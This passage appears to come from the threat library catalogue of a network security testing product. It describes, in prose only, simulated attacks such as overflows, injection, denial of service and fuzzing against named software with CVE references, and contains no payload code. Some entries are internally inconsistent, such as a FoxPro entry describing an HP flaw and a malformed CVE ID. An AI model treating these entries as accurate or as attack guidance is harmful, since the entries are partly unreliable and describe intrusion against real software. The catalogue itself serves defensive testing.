Detailed Description:	A stack buffer overflow vulnerability exists in Ericom AccessNow Server. The vulnerability is due to improper handling of specially crafted HTTP requests for non-existent files. A remote attacker can exploit this vulnerability by sending a crafted HTTP request. A successful attack can result in arbitrary code execution with SYSTEM privilege, while an unsuccessful attack will lead to a denial of service condition. Tester can turn the variable \$HTTPdestPort into 8080 using the script.
Protocol Type:	HTTP
CVEID:	CVE-2014-3913
OSVDB:	107674
Threat File Name:	TSL20091013-29_Microsoft_Windows_GDIplus_WMF_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDIplus WMF Integer Overflow IPv6 version.
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows GDI+ library. The vulnerability is due to an input validation error in Microsoft Windows while processing a crafted WMF image file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted WMF image file in the vulnerable products. Successful exploitation would cause a heap buffer overflow that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP.IPV6
CVEID:	CVE-2009-2500
OSVDB:	MS09-062
Threat File Name:	FSC20090914-03_FreeRADIUS_RADIUS_Server_rad_decode_Remote_Denial_of_Service.xml
Executive Description:	FreeRADIUS RADIUS Server rad_decode Remote Denial of Service
Detailed Description:	A denial of service vulnerability exists in FreeRADIUS RADIUS Server. The vulnerability is due to an error when processing crafted RADIUS Access-Request packets. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted "Tunnel-Password" attribute in an packet to the server, potentially causing a denial of service condition.
Protocol Type:	RADIUS
CVEID:	CVE-2009-3111
Threat Package:	Standard
Threat File Name:	TSL20120508-20_Microsoft_Office_GDIplus_EMF_File_Handling_Infinite_Loop_IPv6.xml
Executive Description:	Microsoft Office GDIplus EMF File Handling Infinite Loop(IPV6 Version)
Detailed Description:	A memory corruption vulnerability exists Microsoft Windows Graphics Device Interface (GDI+). The vulnerability is due to improper sanitization while handling EMF data embedded in Office files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to open or view a specially crafted Microsoft Office file. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0167
OSVDB:	81719
Threat File Name:	edraw_flowchart_activex_overwrite_IPv6.xml
Executive Description:	EDraw Flowchart ActiveX Control 2.0 Insecure Method Vulnerability (IPv6 Version)

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in EDraw Flowchart ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5826
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-OPTION_PrependedHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP OPTION with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	mailsite_dos_IPv6.xml
Executive Description:	Rockliffe MailSite HTTP Management Agent WCONSOLE.DLL Crafted Parameter DoS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a character which causes the service to become unresponsive. Rockliffe MailSite uses a web based interface that typically listens on port 90. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0342
OSVDB:	22678
Threat File Name:	aroundme_rfi.xml
Executive Description:	AROUNDMe 0.7.7 Multiple Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AROUNDMe is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140311-08_Microsoft_Windows_DirectShow_JPEG_Double_Free_IPv6.xml
Executive Description:	Microsoft Windows DirectShow JPEG Double Free(IPv6 Version)
Detailed Description:	A double free vulnerability has been reported in Microsoft Windows DirectShow. The vulnerability is due to the way DirectShow handles JPEG images. A remote attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted JPEG file. This can lead to code execution in the context of the affected user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-0301
OSVDB:	104316
Threat File Name:	spamassan_ec_IPv6.xml
Executive Description:	SpamAssassin Bus Error Spam Detection Bypass Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a SMTP email message with an excessive number of recipients causing SpamAssassin to pass the message. SpamAssassin application that typically listens on port 25. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3351
OSVDB:	11581
Threat Package:	Standard
Threat File Name:	dlink_http_dos.xml
Executive Description:	D-Link Long URL Denial of Service
Detailed Description:	This threat sends a long URL known to crash a D-Link router.
Protocol Type:	HTTP
CVEID:	CVE-2002-1865
Threat Package:	Standard
Threat File Name:	TSL20111208-01_Novell_Netware_XNFS_NLM_xdrDecodeString_Heap_Buffer_Overflow.xml
Executive Description:	Novell Netware XNFS.NLM xdrDecodeString Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Novell Netware. The vulnerability is due to the trusting of a length value in xdrDecodeString() function while processing certain RPC calls, potentially resulting in a heap buffer overflow. The flaw exists within the XNFS.NLM component. A remote unauthenticated attacker can exploit this vulnerability by sending malicious NFS RPC requests. In a successful attack scenario, the attacker can execute arbitrary code within the context of the system. In an unsuccessful attack the target server may become unresponsive. Tester should set variable \$destPort to 1234 before test.
Protocol Type:	SunRPC/SunRPC/NFS
CVEID:	CVE-2011-4191
Threat File Name:	FSC20071206-13_Skype_skype4com_URI_Handler_Remote_Heap_Corruption.xml
Executive Description:	Skype skype4com URI Handler Remote Heap Corruption
Detailed Description:	There exists a heap corruption vulnerability in Skype application. The vulnerability is due to a boundary error when processing crafted URL parameters. An attacker could exploit this vulnerability by enticing target user to visit malicious web pages. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the logged-in user privileges.
Protocol Type:	HTTP
CVEID:	CVE-2007-5989
Threat Package:	Standard
Threat File Name:	proxy_localhost.xml
Executive Description:	Proxy Connect to localhost
Detailed Description:	This threat allows an attacker to bypass firewall rules through an HTTP based proxy. By specifying a listening socket on localhost, the proxy can allow a user to connect to ports typically firewalled off. This can lead to further exploitation of services thought protected by other access control lists and firewall rules. HTTP proxies listen on a number of ports, including 80, 8080, and 8888.
Protocol Type:	HTTP
CVEID:	CVE-2005-2729
Threat Package:	Standard

Threat File Name:	TSL20140815-05_Attachmate_Reflection_FTP_Client_ActiveX_GetGlobalSettings_Memory_Corruption_IPv6.xml
Executive Description:	Attachmate Reflection FTP Client ActiveX GetGlobalSettings Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability has been found in Attachmate Reflection FTP Client. The vulnerability is due to an attempt to dereference user-controllable parameter input. A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to visit a malicious page. Successful exploitation could lead to arbitrary code execution under the security context of the browser.
Protocol Type:	HTTP/IPv6 version
CVEID:	CVE-2014-0603
OSVDB:	109761
Threat File Name:	FSC20060613-09_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption (IPv6 Version)
Detailed Description:	There exists a heap memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is caused by improper instantiation of a COM object which can lead to memory corruption in the application. An attacker may leverage the vulnerability by enticing the target user to follow a malicious link to a crafted HTML page. This may allow injection and execution of arbitrary code within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1303
Threat Package:	Standard
Threat File Name:	wizzforum_sqli3_IPv6.xml
Executive Description:	Wizz Forum SQL Injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3682
OSVDB:	20847
Threat Package:	Standard
Threat File Name:	TSL20130412-05_Nagios_Remote_Plugin_Executor_Arbitrary_Command_Execution.xml
Executive Description:	Nagios Remote Plugin Executor Arbitrary Command Execution
Detailed Description:	A command execution vulnerability has been found in Nagios Remote Plugin Executor. The vulnerability is due to insufficient validation of user-provided parameters against shell metacharacters. A remote, unauthenticated attacker could exploit this vulnerability to execute arbitrary commands on the vulnerable machine with the privileges of the affected service.
Protocol Type:	Nagios NRPE Protocol, Nagios SSL NRPE Protocol
CVEID:	CVE-2013-1362
OSVDB:	90582
Threat File Name:	FSC20090930-11_Novell_NetWare_NFS_Portmapper_RPC_Module_Stack_Overflow.xml
Executive Description:	Novell NetWare NFS Portmapper RPC Module Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell NetWare NFS Portmapper daemon. The vulnerability is due to a boundary error when handling RPC calls. Unauthenticated attackers can exploit this vulnerability by sending crafted CALLIT RPC calls to a vulnerable Novell NetWare system. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the vulnerable daemon program. The behaviour of the target system is dependent on the malicious code. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable daemon program, and potentially crash the target system.
Protocol Type:	Portmapper-RPC
Threat Package:	Standard
Threat File Name:	portscanUDP_IPv6.xml
Executive Description:	Portscan: UDP (IPv6 Version)
Detailed Description:	This threat mimics the behavior of a UDP portscan by a tool such as nmap. Closed ports will reply with an ICMP Destination Unreachable (Port Unreachable) message. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	microsoftNNTPEHeap.xml
Executive Description:	Microsoft NNTP Heap Overflow
Detailed Description:	This threat sends a malicious payload that will crash the NNTP server that comes with Windows 2000, NT, 2003 and certain versions of Exchange. The security bulletin for this threat is MS04-036.
Protocol Type:	NNTP
CVEID:	CVE-2004-0574
OSVDB:	10697
Threat Package:	Standard
Threat File Name:	ms_foxpro_activex_rexec_IPv6.xml
Executive Description:	Microsoft Visual FoxPro 6.0 FPOLE.OCX Arbitrary Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Multiple HP products (HPQUTIL.DLL) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5322
Threat Package:	Standard
Threat File Name:	TSL20151014-01_Microsoft_Internet_Explorer_jscript_dll_Regular_Expression_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer jscript.dll Regular Expression Use After Free IPv6 version.

Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to errors while handling regular expression objects when processing JavaScript code. Specifically, the Source property of the regular expression object is sometimes cached. Under certain conditions, the Compile method of the regular expression object will attempt to use this property, even after it has been freed from cache. A remote attacker could exploit this vulnerability by enticing the user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-2482
Threat File Name:	TSL20160901-02_FreePBX_Framework_modulefunctions_class_php_display_SQL_Injection_IPv6.xml
Executive Description:	FreePBX Framework modulefunctions.class.php display SQL Injection (IPv6 Version)
Detailed Description:	A SQL injection vulnerability exists in FreePBX. This vulnerability is due to lack of validation of the display HTTP parameter in modulefunctions.class.php. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the vulnerable page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the mysql user.
Protocol Type:	HTTP, IPv6
Threat File Name:	TSL20140211-13_Microsoft_Direct2D_SVG_Path_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Direct2D SVG Path Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft's Direct2D library. The vulnerability is due to the way the library handles certain 2D geometric figures. A remote attacker can exploit this vulnerability by enticing a user to download and process a file containing specially crafted 2D figures.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0263
Threat File Name:	ciscoMalSNMP_IPv6.xml
Executive Description:	Cisco Malformed SNMPv1 Message Denial of Service (IPv6 Version)
Detailed Description:	This threat creates a malformed SNMPv1 request which causes the Cisco device under test to reboot or require a manual reset. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2002-0013
OSVDB:	810
Threat Package:	Standard
Threat File Name:	FSC20060619-04_Nullsoft_Winamp_Midi_File_Header_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Midi File Header Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the MIDI file parsing component of Nullsoft Winamp. The vulnerability is caused by the improper handling of the header of a MIDI media file. A remote attacker can exploit this vulnerability by enticing the user to open a crafted MIDI file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3228
Threat Package:	Standard
Threat File Name:	TSL20150414-29_Microsoft_Internet_Explorer_SVG_Marker_Object_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer SVG Marker Object Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an issue with dangling pointer reuse through the manipulation of document elements. A remote unauthenticated attacker could exploit this vulnerability by enticing a user into opening a specially crafted page. Successful exploitation could lead to arbitrary code execution under the security context of the browser process.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-1668
OSVDB:	120622
Threat File Name:	TSL20141209-26_Microsoft_Internet_Explorer_CVE_2014-6366_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-6366 Memory Corruption IPv6 versoin.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-6366
OSVDB:	115569
Threat File Name:	winftp_dos.xml
Executive Description:	WinFtp Server Version 2.0.2 Denial of Service Vulnerability
Detailed Description:	This threat crashes vulnerable WinFTP Servers when an excessively large PASV command is issued from a client. WinFTP Server is an ftp server that typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-6673
Threat Package:	Standard
Threat File Name:	InternetExplorerHijackClick.xml
Executive Description:	Internet Explorer MS04-038 Mouse Drag Hijack
Detailed Description:	This threat attempts to hijack the mousedown event, causing a drag operation to occur, and place the website into the bookmarks list. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0841
OSVDB:	10708
Threat Package:	Standard
Threat File Name:	FSC20040420-02_Microsoft_RPCSS_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft RPCSS Denial of Service (IPv6 Version)

Detailed Description:	Due to incorrect handling of malformed RPC packets, a function in the RPCSS service that is responsible for the allocation of memory can be exploited remotely to exhaust all available memory on a vulnerable system. The RPCSS service is the Remote Procedure Call service running on Windows computers. (IPv6 Version)
Protocol Type:	DCERPC/IPv6
CVEID:	CVE-2004-0116
Threat Package:	Standard
Threat File Name:	TSL20140909-02_ManageEngine_Desktop_Central_StatusUpdate_Arbitrary_File_Upload_IPv6.xml
Executive Description:	ManageEngine Desktop Central StatusUpdate Arbitrary File Upload IPv6 version.
Detailed Description:	An arbitrary file upload vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to lack of authentication and insufficient input validation of the parameters sent to the StatusUpdate page when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort 8020 or 8383 before test.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-5005
OSVDB:	110643
Threat File Name:	IE-DOS_Embedded_IPv6.xml
Executive Description:	Internet Explorer Recursive Object Inclusion (IPv6 Version)
Detailed Description:	This threat causes a denial of service in Internet Explorer by recursively specifying the same HTML file in an OBJECT tag. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	tcexam_cmi.xml
Executive Description:	TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit TCEXAM <= 4.0.011 \$_COOKIE["SessionUserLang"] shell injection exploit
Detailed Description:	This threat demonstrates a shell injection flaw via a php cookie session variable which can be freely set by the attacker. This threat is delivered by the HTTP protocol on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100413-16_Microsoft_Windows_MPEG_Layer-3_Audio_Decoder_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows MPEG Layer-3 Audio Decoder Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in the Microsoft Windows MPEG Layer-3 decoder. The vulnerability is due to an error in the MPEG Layer 3 decoder while parsing malformed AVI files. An attacker can exploit this vulnerability by creating a specially crafted AVI file and enticing an unsuspecting user to access the file. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. (IPv6 Version)
Protocol Type:	Not available/IPv6
CVEID:	CVE-2010-0480
Threat Package:	Standard
Threat File Name:	FSC20070320-03_Cisco_IP_Phone_SIP_INVITE_Message_Denial_of_Service.xml
Executive Description:	Cisco IP Phone SIP INVITE Message Denial of Service
Detailed Description:	There exists a Denial of Service vulnerability in Cisco's IP Phone models 7960 and 7940. The affected firmware cannot handle a specially crafted SIP INVITE message with an invalid IP address, causing the phone to reboot upon receiving the message. As a result, a remote user can cause a denial of service condition to IP phone service. Upon triggering this vulnerability by a specially crafted SIP packet, the Cisco device running the SIP firmware will be forced to reload. The Cisco device will be unavailable for the several minutes it takes to reload. Repeated attacks could create a continuous denial of service condition.
Protocol Type:	SIP
CVEID:	CVE-2007-1542
Threat Package:	VoIP
Threat File Name:	sipsemicolonparams.xml
Executive Description:	SIPPING: Semicolon Separated Params in URI
Detailed Description:	This threat sends out a SIP message with semicolon separated parameters in the user part of the Request-URI. This is legal but may confuse or crash a SIP implementation that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	postfix_dos.xml
Executive Description:	Postfix Envelope Denial Of Service
Detailed Description:	This threat sends a malformed envelope address which causes the Postfix SMTP daemon to crash. Postfix is a SMTP server, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2003-0468
OSVDB:	6551
Threat Package:	Standard
Threat File Name:	cisco_ONS_DoS.xml
Executive Description:	Cisco ONS Denial of Service
Detailed Description:	Sending IP packets with a non-zero Type of Service to the timing control card on the LAN interface will cause the Cisco Optical Transport Platform (running ONS 3.1.0 to 3.2.0) to reset, resulting in a denial of service.
Protocol Type:	IP
CVEID:	CVE-2002-0952
OSVDB:	5045
Threat Package:	Standard
Threat File Name:	floodICMPportunreachable_IPv6.xml
Executive Description:	ICMP Port Unreachable Flood (IPv6 Version)

Detailed Description:	This threat sends out an ICMP Port Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. By continuously sending these packets, this can cause a denial of service on the target. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170302-10_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_devid_Command_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm devid Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of user-supplied HTTP parameters. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root user.
Protocol Type:	HTTPS,IPv6
Threat File Name:	ie7InfoDisc.xml
Executive Description:	IE7 Information Disclosure Vulnerability
Detailed Description:	This threat allows an attacker to monitor and lift information off of any website visited by the user. This can lead to sensitive information disclosure, including banking websites, online purchases, and email reading. This attack would typically come from a malicious website listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-CVE-2006-2111
Threat Package:	Standard
Threat File Name:	TSL20110512-11_HP_Intelligent_Management_Center_img_Buffer_Overflow.xml
Executive Description:	HP Intelligent Management Center img Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been identified in the img component of the HP Intelligent Management Center. When processing packets sent to port 8800/TCP, user-supplied data is directly copied to a stack buffer without boundary check. By sending a crafted packet to the target, a remote attacker can exploit this vulnerability to execute arbitrary code under the security context of the SYSTEM user.
Protocol Type:	Proprietary
CVEID:	CVE-2011-1848
Threat File Name:	FSC20100914-03_Microsoft_MPEG-4_Codec_Remote_Code_Execution.xml
Executive Description:	Microsoft MPEG-4 Codec Remote Code Execution
Detailed Description:	A code execution vulnerability has been reported in Microsoft's MPEG-4 Codec. The vulnerability is due to an integer overflow while processing certain values in an ASF media file. An attacker can exploit this vulnerability by enticing a user to process a malicious file. This can result in remote code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,IMAP,MMS,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-0818
Threat Package:	Standard
Threat File Name:	TSL20111011-17_Microsoft_Internet_Explorer_OLEAut32_dll_Uninitialized_Object_Access_IPv6.xml
Executive Description:	Microsoft Internet Explorer OLEAut32.dll Uninitialized Object Access(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Internet Explorer. Specifically, the vulnerability is due to the access of an object that has not been correctly initialized. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1995
Threat File Name:	jabber_dos.xml
Executive Description:	Jabber Denial of Service
Detailed Description:	This threat causes certain versions of the Jabber server to crash by sending unexpected input. Jabber servers typically listen on port 5222.
Protocol Type:	Jabber
CVEID:	CVE-2004-1378
OSVDB:	10257
Threat Package:	Standard
Threat File Name:	FSC20080909-12_Microsoft_Windows_Graphics_Rendering_Engine_WMF_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine WMF Parsing Buffer Overflow
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. Specifically this vulnerability is exposed by the Microsoft Windows GDI+ subsystem. The vulnerability is created by an error during the parsing of certain Windows Metafile (WMF) files. An attacker can exploit this vulnerability by enticing a user to open a malicious WMF file, resulting in either a denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the target application used to render the WMF will terminate abnormally. If the exploitation is through the explorer application, it will be automatically restarted by the operating systems.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-3014
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_WRQ_NETASCII.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_NETASCII.xml
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ. Mode is netascii
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20150630-11_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1332_Buffer_Overflow.xml

Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1332 Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient boundary checking on parameters in opcode 1332 requests. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary code execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	TCP
CVEID:	CVE-2015-1925
Threat File Name:	FSC20100512-03_HP_OpenView_NNM_snmpviewer.exe_CGI_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView NNM snmpviewer.exe CGI Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the snmpviewer.exe CGI program when processing certain parameters sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP POST request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the web server process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2010-1552
Threat Package:	Standard
Threat File Name:	ethereal_iapp_IPv6.xml
Executive Description:	Ethereal IAPP Denial of Service Attack (IPv6 Version)
Detailed Description:	This threat causes a segmentation fault in the Ethereal packet dissector, which can cause problems for network admins attempting to analyze network packet data. Can be used in conjunction with another attack to prevent monitoring. (IPv6 Version)
Protocol Type:	IAPP/IPv6
CVEID:	CVE-2005-1470
OSVDB:	14667
Threat Package:	Standard
Threat File Name:	FSC20090625-04_Unisys_Business_Information_Server_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Unisys Business Information Server Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in Unisys Business Information Server that could allow remote attackers to execute arbitrary code on a vulnerable system. The flaw is due to a boundary error when processing crafted packets sent to the server. Remote attackers could exploit this vulnerability by sending a crafted packet to a TCP port. In an attack case where code injection is not successful, the affected service will terminate resulting in a Denial of Service condition. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the service, which is SYSTEM by default. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-1628
Threat Package:	Standard
Threat File Name:	TSL20130401-02_HP_System_Management_Homepage_iprange_Parameter_Code_Execution.xml
Executive Description:	HP System Management Homepage iprange Parameter Code Execution
Detailed Description:	A code execution vulnerability exists in HP System Management Homepage (SMH). The vulnerability is due to a flaw when handling the iprange parameter sent to the /proxy/DataValidation URL. A remote attacker can exploit this vulnerability by sending a malicious request to the affected server. A successful exploitation attempt could result in executing arbitrary code on the target server. Anonymous access must be enabled to trigger this vulnerability
Protocol Type:	HTTPS
OSVDB:	91812
Threat File Name:	FSC20060519-06_Apple_QuickTime_BMP_File_Handling_Heap_Overflow.xml
Executive Description:	Apple QuickTime BMP File Handling Heap Overflow
Detailed Description:	There exists a heap-based buffer overflow vulnerability in various Apple QuickTime products. The flaw is caused by a boundary error within the component responsible for processing BMP images. An attacker may exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-2238
Threat Package:	Standard
Threat File Name:	flexphpnews_sqli.xml
Executive Description:	Flexphpnews 0.0.5 (news.php newsid) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. Flexphpnews is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipwiderangeofvalidchars_IPv6.xml
Executive Description:	SIPPING: Wide Range of Valid Characters (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with a wide range of characters encoded in various ways in places that implementations probably won't be expecting. The message is legal but may crash or confuse a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	bxcp_sqli.xml
Executive Description:	BXCP index.php Input Validation SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted query containing an SQL statement which is executed by the server with it permissions. BXCP is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20070508-15_Microsoft_Office_Drawing_Object_Code_Execution.xml
Executive Description:	Microsoft Office Drawing Object Code Execution

Detailed Description:	There exists a vulnerability in Microsoft Office products. The flaw is due to improper handling of Microsoft Office files containing malformed drawing object. An attacker can exploit this vulnerability by enticing an unsuspecting user to open a malicious Office document. This flaw may allow the attacker to execute arbitrary code in the context of the currently logged-in user. In an attack scenario, where arbitrary code is attempted to be injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2007-1747
Threat Package:	Standard
Threat File Name:	TSL20170307-08_Trend_Micro_SafeSync_for_Enterprise_restartService_Command_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise restartService Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of the user-supplied parameter sent to restartService end point. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root.
Protocol Type:	HTTPS, IPv6
Threat File Name:	FSC20090114-09_HP_OpenView_Network_Node_Manager_getcvdata.exe_HTTP_Request_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager getcvdata.exe HTTP Request Buffer Overflow
